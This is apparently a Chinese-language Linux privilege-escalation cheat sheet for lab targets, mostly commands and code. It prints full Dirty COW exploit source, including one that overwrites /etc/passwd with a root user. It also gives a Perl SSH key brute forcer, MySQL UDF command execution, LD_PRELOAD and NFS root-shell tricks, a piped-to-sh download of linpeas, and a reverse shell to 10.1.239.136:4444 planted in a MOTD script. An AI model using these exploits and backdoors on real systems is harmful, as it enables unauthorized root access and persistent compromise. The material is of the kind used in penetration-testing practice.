1
# 在线下载执行并不留下文件
2
curl -L https://github.com/carlospolop/PEASS-ng/releases/download/20240324-2c3cd766/linpeas.sh | sh

1
# 1、掌握mysql数据库的账号，拥有create、insert、delete权限
2
# 2、secure_file_priv为空，这是用来限制：Load data、select into outfile、load_file()

1
1、查找exp
2
searchsploit mysql udf
3
------------------------------------------------------------------------- ---------------------------------
4
 Exploit Title                                                           |  Path
5
------------------------------------------------------------------------- ---------------------------------
6
MySQL 4.0.17 (Linux) - User-Defined Function (UDF) Dynamic Library (1)   | linux/local/1181.c
7
MySQL 4.x/5.0 (Linux) - User-Defined Function (UDF) Dynamic Library (2)  | linux/local/1518.c
8
MySQL 4.x/5.0 (Windows) - User-Defined Function Command Execution        | windows/remote/3274.txt
9
MySQL 4/5/6 - UDF for Command Execution                                  | linux/local/7856.txt
10
------------------------------------------------------------------------- ---------------------------------
11
Shellcodes: No Results

1
gcc -g -c filename.c -fPIC
2
-g # 指定生成调试信息
3
-c # 仅编译源代码，但不进行链接，通常会生成.o扩展名的文件，对于将多个源码文件分别编译成目标文件，然后链接成一个可执行文件或库时有用
4
-fPIC # 告诉编译器生成位置无关代码（position independent code）可以在内存中的任何位置执行，可以被多个程序共享

1
mysql> use mysql;
2
mysql> create table foo(line blob);
3
mysql> insert into foo values(load_file('/home/raptor/raptor_udf2.so'));
4
mysql> select * from foo into dumpfile '/usr/lib/raptor_udf2.so';
5
mysql> create function do_system returns integer soname 'raptor_udf2.so';
6
mysql> select * from mysql.func;
7

8
# mysql.func可以执行系统命令
9
eg：select do_system('cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash');

1
# 使用-p参数以特权用户来执行一个shell
2
/tmp/rootbash -p

1
sudo -l  # 查看当前用户能执行什么系统命令
2
# env_reset, env_keep=LD_PRELOAD  加载共享库，可以提权
3
vim shell.c：

1
gcc -fPIC -shared -o shell.so shell.c -nostartfiles
2
sudo LD_PRELOAD=/home/user/shell.so find  # 前提是find可以以root用户执行，预加载了环境变量提权逻辑

1
NFS  共享文件模式（网络、文件、分享），可以用来撕口子，也可以用来提权
2

3
# 需要靶机是否存在NSF服务
4
cat /etc/exports
5
# 如果存在no_root_squash表示可以进行NSF提权利用尝试
6
mkdir /tmp/nfs
7
# 本地使用，挂载到目标靶机上的/tmp目录下
8
mount -o rw,vers=3 靶机IP:/tmp /tmp/nfs
9
# 生成一个shell
10
msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/nfs/shell.elf
11
# 靶机中执行即可
12
/tmp/shell.elf

1
uname -a  # 查看内核版本 2.6.32
2
# 使用linpeas查看内核存在的漏洞，存在dirtycow(脏牛)漏洞
3
searchsploit 40611
4
-------------------------------------------------------------------------------------------- --------------------
5
 Exploit Title                                                                              |  Path
6
-------------------------------------------------------------------------------------------- --------------------
7
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' /proc/self/mem Race Condition (Write Access Method) | linux/local/40611.c
8
-------------------------------------------------------------------------------------------- --------------------
9
Shellcodes: No Results
10

11
searchsploit -m 40611
12
40611.c：
13
/*
14
####################### dirtyc0w.c #######################
15
$ sudo -s
16
# echo this is not a test > foo
17
# chmod 0404 foo
18
$ ls -lah foo
19
-r-----r-- 1 root root 19 Oct 20 15:23 foo
20
$ cat foo
21
this is not a test
22
$ gcc -pthread dirtyc0w.c -o dirtyc0w
23
$ ./dirtyc0w foo m00000000000000000
24
mmap 56123000
25
madvise 0
26
procselfmem 1800000000
27
$ cat foo
28
m00000000000000000
29
####################### dirtyc0w.c #######################
30
*/
31
#include <stdio.h>
32
#include <sys/mman.h>
33
#include <fcntl.h>
34
#include <pthread.h>
35
#include <unistd.h>
36
#include <sys/stat.h>
37
#include <string.h>
38
#include <stdint.h>
39

40
void *map;
41
int f;
42
struct stat st;
43
char *name;
44

45
void *madviseThread(void *arg)
46
{
47
  char *str;
48
  str=(char*)arg;
49
  int i,c=0;
50
  for(i=0;i<100000000;i++)
51
  {
52
/*
53
You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661
54
> This is achieved by racing the madvise(MADV_DONTNEED) system call
55
> while having the page of the executable mmapped in memory.
56
*/
57
    c+=madvise(map,100,MADV_DONTNEED);
58
  }
59
  printf("madvise %d\n\n",c);
60
}
61

62
void *procselfmemThread(void *arg)
63
{
64
  char *str;
65
  str=(char*)arg;
66
/*
67
You have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16
68
>  The in the wild exploit we are aware of doesn't work on Red Hat
69
>  Enterprise Linux 5 and 6 out of the box because on one side of
70
>  the race it writes to /proc/self/mem, but /proc/self/mem is not
71
>  writable on Red Hat Enterprise Linux 5 and 6.
72
*/
73
  int f=open("/proc/self/mem",O_RDWR);
74
  int i,c=0;
75
  for(i=0;i<100000000;i++) {
76
/*
77
You have to reset the file pointer to the memory position.
78
*/
79
    lseek(f,(uintptr_t) map,SEEK_SET);
80
    c+=write(f,str,strlen(str));
81
  }
82
  printf("procselfmem %d\n\n", c);
83
}
84

85

86
int main(int argc,char *argv[])
87
{
88
/*
89
You have to pass two arguments. File and Contents.
90
*/
91
  if (argc<3) {
92
  (void)fprintf(stderr, "%s\n",
93
      "usage: dirtyc0w target_file new_content");
94
  return 1; }
95
  pthread_t pth1,pth2;
96
/*
97
You have to open the file in read only mode.
98
*/
99
  f=open(argv[1],O_RDONLY);
100
  fstat(f,&st);
101
  name=argv[1];
102
/*
103
You have to use MAP_PRIVATE for copy-on-write mapping.
104
> Create a private copy-on-write mapping.  Updates to the
105
> mapping are not visible to other processes mapping the same
106
> file, and are not carried through to the underlying file.  It
107
> is unspecified whether changes made to the file after the
108
> mmap() call are visible in the mapped region.
109
*/
110
/*
111
You have to open with PROT_READ.
112
*/
113
  map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
114
  printf("mmap %zx\n\n",(uintptr_t) map);
115
/*
116
You have to do it on two threads.
117
*/
118
  pthread_create(&pth1,NULL,madviseThread,argv[1]);
119
  pthread_create(&pth2,NULL,procselfmemThread,argv[2]);
120
/*
121
You have to wait for the threads to finish.
122
*/
123
  pthread_join(pth1,NULL);
124
  pthread_join(pth2,NULL);
125
  return 0;
126
}
127
# 编译
128
gcc -pthread dirtyc0w.c -o dirtyc0w
129
# 执行
130
./dirtyc0w
131
# 40611是写入方法（Write Access Method），用的是写入内存，调用麻烦
132

133
40839.c：
134
//
135
// This exploit uses the pokemon exploit of the dirtycow vulnerability
136
// as a base and automatically generates a new passwd line.
137
// The user will be prompted for the new password when the binary is run.
138
// The original /etc/passwd file is then backed up to /tmp/passwd.bak
139
// and overwrites the root account with the generated line.
140
// After running the exploit you should be able to login with the newly
141
// created user.
142
//
143
// To use this exploit modify the user values according to your needs.
144
//   The default is "firefart".
145
//
146
// Original exploit (dirtycow's ptrace_pokedata "pokemon" method):
147
//   https://github.com/dirtycow/dirtycow.github.io/blob/master/pokemon.c
148
//
149
// Compile with:
150
//   gcc -pthread dirty.c -o dirty -lcrypt
151
//
152
// Then run the newly create binary by either doing:
153
//   "./dirty" or "./dirty my-new-password"
154
//
155
// Afterwards, you can either "su firefart" or "ssh firefart@..."
156
//
157
// DON'T FORGET TO RESTORE YOUR /etc/passwd AFTER RUNNING THE EXPLOIT!
158
//   mv /tmp/passwd.bak /etc/passwd
159
//
160
// Exploit adopted by Christian "FireFart" Mehlmauer
161
// https://firefart.at
162
//
163

164
#include <fcntl.h>
165
#include <pthread.h>
166
#include <string.h>
167
#include <stdio.h>
168
#include <stdint.h>
169
#include <sys/mman.h>
170
#include <sys/types.h>
171
#include <sys/stat.h>
172
#include <sys/wait.h>
173
#include <sys/ptrace.h>
174
#include <stdlib.h>
175
#include <unistd.h>
176
#include <crypt.h>
177

178
const char *filename = "/etc/passwd";
179
const char *backup_filename = "/tmp/passwd.bak";
180
const char *salt = "firefart";
181

182
int f;
183
void *map;
184
pid_t pid;
185
pthread_t pth;
186
struct stat st;
187

188
struct Userinfo {
189
   char *username;
190
   char *hash;
191
   int user_id;
192
   int group_id;
193
   char *info;
194
   char *home_dir;
195
   char *shell;
196
};
197

198
char *generate_password_hash(char *plaintext_pw) {
199
  return crypt(plaintext_pw, salt);
200
}
201

202
char *generate_passwd_line(struct Userinfo u) {
203
  const char *format = "%s:%s:%d:%d:%s:%s:%s\n";
204
  int size = snprintf(NULL, 0, format, u.username, u.hash,
205
    u.user_id, u.group_id, u.info, u.home_dir, u.shell);
206
  char *ret = malloc(size + 1);
207
  sprintf(ret, format, u.username, u.hash, u.user_id,
208
    u.group_id, u.info, u.home_dir, u.shell);
209
  return ret;
210
}
211

212
void *madviseThread(void *arg) {
213
  int i, c = 0;
214
  for(i = 0; i < 200000000; i++) {
215
    c += madvise(map, 100, MADV_DONTNEED);
216
  }
217
  printf("madvise %d\n\n", c);
218
}
219

220
int copy_file(const char *from, const char *to) {
221
  // check if target file already exists
222
  if(access(to, F_OK) != -1) {
223
    printf("File %s already exists! Please delete it and run again\n",
224
      to);
225
    return -1;
226
  }
227

228
  char ch;
229
  FILE *source, *target;
230

231
  source = fopen(from, "r");
232
  if(source == NULL) {
233
    return -1;
234
  }
235
  target = fopen(to, "w");
236
  if(target == NULL) {
237
     fclose(source);
238
     return -1;
239
  }
240

241
  while((ch = fgetc(source)) != EOF) {
242
     fputc(ch, target);
243
   }
244

245
  printf("%s successfully backed up to %s\n",
246
    from, to);
247

248
  fclose(source);
249
  fclose(target);
250

251
  return 0;
252
}
253

254
int main(int argc, char *argv[])
255
{
256
  // backup file
257
  int ret = copy_file(filename, backup_filename);
258
  if (ret != 0) {
259
    exit(ret);
260
  }
261

262
  struct Userinfo user;
263
  // set values, change as needed
264
  user.username = "firefart";
265
  user.user_id = 0;
266
  user.group_id = 0;
267
  user.info = "pwned";
268
  user.home_dir = "/root";
269
  user.shell = "/bin/bash";
270

271
  char *plaintext_pw;
272

273
  if (argc >= 2) {
274
    plaintext_pw = argv[1];
275
    printf("Please enter the new password: %s\n", plaintext_pw);
276
  } else {
277
    plaintext_pw = getpass("Please enter the new password: ");
278
  }
279

280
  user.hash = generate_password_hash(plaintext_pw);
281
  char *complete_passwd_line = generate_passwd_line(user);
282
  printf("Complete line:\n%s\n", complete_passwd_line);
283

284
  f = open(filename, O_RDONLY);
285
  fstat(f, &st);
286
  map = mmap(NULL,
287
             st.st_size + sizeof(long),
288
             PROT_READ,
289
             MAP_PRIVATE,
290
             f,
291
             0);
292
  printf("mmap: %lx\n",(unsigned long)map);
293
  pid = fork();
294
  if(pid) {
295
    waitpid(pid, NULL, 0);
296
    int u, i, o, c = 0;
297
    int l=strlen(complete_passwd_line);
298
    for(i = 0; i < 10000/l; i++) {
299
      for(o = 0; o < l; o++) {
300
        for(u = 0; u < 10000; u++) {
301
          c += ptrace(PTRACE_POKETEXT,
302
                      pid,
303
                      map + o,
304
                      *((long*)(complete_passwd_line + o)));
305
        }
306
      }
307
    }
308
    printf("ptrace %d\n",c);
309
  }
310
  else {
311
    pthread_create(&pth,
312
                   NULL,
313
                   madviseThread,
314
                   NULL);
315
    ptrace(PTRACE_TRACEME);
316
    kill(getpid(), SIGSTOP);
317
    pthread_join(pth,NULL);
318
  }
319

320
  printf("Done! Check %s to see if the new user was created.\n", filename);
321
  printf("You can log in with the username '%s' and the password '%s'.\n\n",
322
    user.username, plaintext_pw);
323
    printf("\nDON'T FORGET TO RESTORE! $ mv %s %s\n",
324
    backup_filename, filename);
325
  return 0;
326
}
327
# 编译
328
gcc 40839.c -o dirty -lcrypt
329
./dirty
330
# 输入密码
331
# 创建用户成功，使用密码登录
332

333
gcc -pthread dirty.c -o dirty -lcrypt

1
uname -a
2
# 系统为openBSD
3
find / -group user -type f 2>/dev/null
4
find / -perm -u=s -type f 2>/dev/null
5
# 存在/usr/bin/doas
6

7
cat /etc/doas.conf
8
permit nopass keepenv dcj as root cmd /usr/bin/less args /home/dcj/tmp/test.txt
9
permit nopass keepenv root as root
10
# 允许的权限在没有密码的情况下，保持环境变量，user的用户可以按照root用户来执行，可以执行/usr/bin/less args /var/log/authlog
11

12
# 原理是less命令中有一个v参数，表示查看文件时使用vi编辑器进行编辑
13
# 进入编辑器
14
doas /usr/bin/less /home/dcj/tmp/test.txt
15
# 按v
16
输入:!sh
17
# 返回了root权限的shell

1
MOTD（message of the day）当登录linux服务器的时候会显示一些欢迎信息
2

3
# 在Linux中，/etc/update-motd.d目录下的脚本和程序是以root用户的身份运行的
4
# /etc/motd是一个文本文件，用于在用户登录系统时显示一条消息。该消息通常用于向用户提供系统的重要信息、公告、警告或其他相关通知
5

6
# 理论上修改 motd 下的任何文件都可,提权时通常修改 /etc/update-motd.d/00-header 文件
7
echo "bash -c 'bash -i >& /dev/tcp/10.1.239.136/4444 0>&1'" >> /etc/update-motd.d/00-header
8
# 开启监听
9
sudo nc -lnvp 4444

1
当有服务器的公钥时，需要用自己的私钥进行登录，但是并没有对应的私钥，这里需要用一个库，伪随机数生成器————PRNG（pseudo random number generator）
2

3
└─$ searchsploit prng
4
----------------------------------------------------------------------------------- ---------------------------
5
 Exploit Title                                                                     |  Path
6
----------------------------------------------------------------------------------- ---------------------------
7
GNU Classpath 0.97.2 - 'gnu.java.security.util.PRNG' Class Entropy (1)             | multiple/remote/32673.java
8
GNU Classpath 0.97.2 - 'gnu.java.security.util.PRNG' Class Entropy (2)             | multiple/remote/32674.cpp
9
LPRng (RedHat 7.0) - 'lpd' Format String                                           | linux/remote/227.c
10
LPRng - use_syslog Remote Format String (Metasploit)                               | linux/remote/16842.rb
11
LPRng 3.6.22/23/24 - Remote Command Execution                                      | linux/remote/226.c
12
LPRng 3.6.24-1 - Remote Command Execution                                          | linux/remote/230.c
13
LPRng 3.6.x - Failure To Drop Supplementary Groups                                      | unix/local/20923.c
14
LPRNG html2ps 1.0 - Remote Command Execution                                            | unix/remote/21974.pl
15
OpenSSL 0.9.8c-1 < 0.9.8g-9 (Debian and Derivatives) - Predictable PRNG Brute Force SSH | linux/remote/5622.txt
16
OpenSSL 0.9.8c-1 < 0.9.8g-9 (Debian and Derivatives) - Predictable PRNG Brute Force SSH | linux/remote/5720.py
17
OpenSSL 0.9.8c-1 < 0.9.8g-9 (Debian and Derivatives) - Predictable PRNG Brute Force SSH (Ruby) | linux/remote/5632.rb
18
----------------------------------------------------------------------------------- ---------------------------
19
Shellcodes: No Results
20

21
# 实际上，获得立足点和提权场景的操作是完全一样的
22

23
# 使用5622.txt
24
searchsploit -m 5622
25
5622.txt：
26
the debian openssl issue leads that there are only 65.536 possible ssh
27
keys generated, cause the only entropy is the pid of the process
28
generating the key.
29

30
This leads to that the following perl script can be used with the
31
precalculated ssh keys to brute force the ssh login. It works if such a
32
keys is installed on a non-patched debian or any other system manual
33
configured to.
34

35
On an unpatched system, which doesn't need to be debian, do the following:
36

37
keys provided by HD Moore - http://metasploit.com/users/hdm/tools/debian-openssl/
38
***E-DB Note: Mirror ~ https://github.com/g0tmi1k/debian-ssh***
39

40
1. Download http://sugar.metasploit.com/debian_ssh_rsa_2048_x86.tar.bz2
41
            https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/5622.tar.bz2 (debian_ssh_rsa_2048_x86.tar.bz2)
42

43
2. Extract it to a directory
44

45
3. Enter into the /root/.ssh/authorized_keys a SSH RSA key with 2048
46
Bits, generated on an upatched debian (this is the key this exploit will
47
break)
48

49
4. Run the perl script and give it the location to where you extracted
50
the bzip2 mentioned.
51

52
#!/usr/bin/perl
53
my $keysPerConnect = 6;
54
unless ($ARGV[1]) {
55
   print "Syntax : ./exploiter.pl pathToSSHPrivateKeys SSHhostToTry\n";
56
   print "Example: ./exploiter.pl /root/keys/ 127.0.0.1\n";
57
   print "By mm@deadbeef.de\n";
58
   exit 0;
59
}
60
chdir($ARGV[0]);
61
opendir(A, $ARGV[0]) || die("opendir");
62
while ($_ = readdir(A)) {
63
   chomp;
64
   next unless m,^\d+$,;
65
   push(@a, $_);
66
   if (scalar(@a) > $keysPerConnect) {
67
      system("echo ".join(" ", @a)."; ssh -l root ".join(" ", map { "-i
68
".$_ } @a)." ".$ARGV[1]);
69
      @a = ();
70
   }
71
}
72

73
5. Enjoy the shell after some minutes (less than 20 minutes)
74

75
Regards,
76
Markus Mueller
77
mm@deadbeef.de
78

79
# milw0rm.com [2008-05-15]

1
现在的思路是拿到了公钥，需要私钥进行提权，这里用的是私钥库进行碰撞，ssh的非堆成加密算法中涉及到PRNG机制，可以用伪随机数生成密钥来进行碰撞，碰撞成功则能够登录靶机
2

3
1、下载文件
4
wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/5622.tar.bz2
5
2、解压缩
6
sudo tar vjxf 5622.tar.bz2
7
# v：表示详细模式（verbose），在解压缩过程中显示详细信息
8
# j：表示要解压缩的文件是使用 bzip2 压缩算法压缩的
9
# x：表示执行解压缩操作
10
# f：表示接下来的参数是要操作的文件
11

12
# 在碰撞的时候公钥取值不要太长或太短，太长则匹配速度慢，太短可能匹配到多个文件，一般30-40个字符内容即可
13
grep -lr "RSA公钥部分内容"
14
# l：将匹配到的内容输出
15
# r：递归搜索
16
# 搜索到的结果是公钥.pub文件，其对应的私钥是没有后缀的文件，得到私钥后，可以保存为key后进行登录
17
sudo ssh -i 私钥文件 用户@IP

1
PS：
2
1、Unable to negotiate with 10.1.239.136 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss
3
不能和这台机器在25端口进行写上，因为有主键类型未被发现，这里使用下面的命令，加上密钥类型ssh-rsa,ssh-dss
4
sudo ssh -i 私钥文件 用户@IP -oHostKeyAlgorithms=ssh-rsa,ssh-dss
5

6
2、发现还是需要密码
7
sudo ssh -i 私钥文件 用户@IP -oHostKeyAlgorithms=ssh-rsa,ssh-dss -vv
8
使用-vv参数查看调试信息
9
debug1: Trying private key: dcbe2a56e8cdea6d17495f6648329ee2-4679
10
sign_and_send_pubkey: no mutual signature supported
11
debug2: we did not send a packet, disable method
12
debug1: Next authentication method: password
13
# 没有共同签名的支持，这里使用-oPubkeyAcceptedKeyTypes=ssh-rsa,ssh-dss，公钥能够接受的密钥类型
14
sudo ssh -i 私钥文件 用户@IP -oHostKeyAlgorithms=ssh-rsa,ssh-dss -oPubkeyAcceptedKeyTypes=ssh-rsa,ssh-dss
15
# 成功登录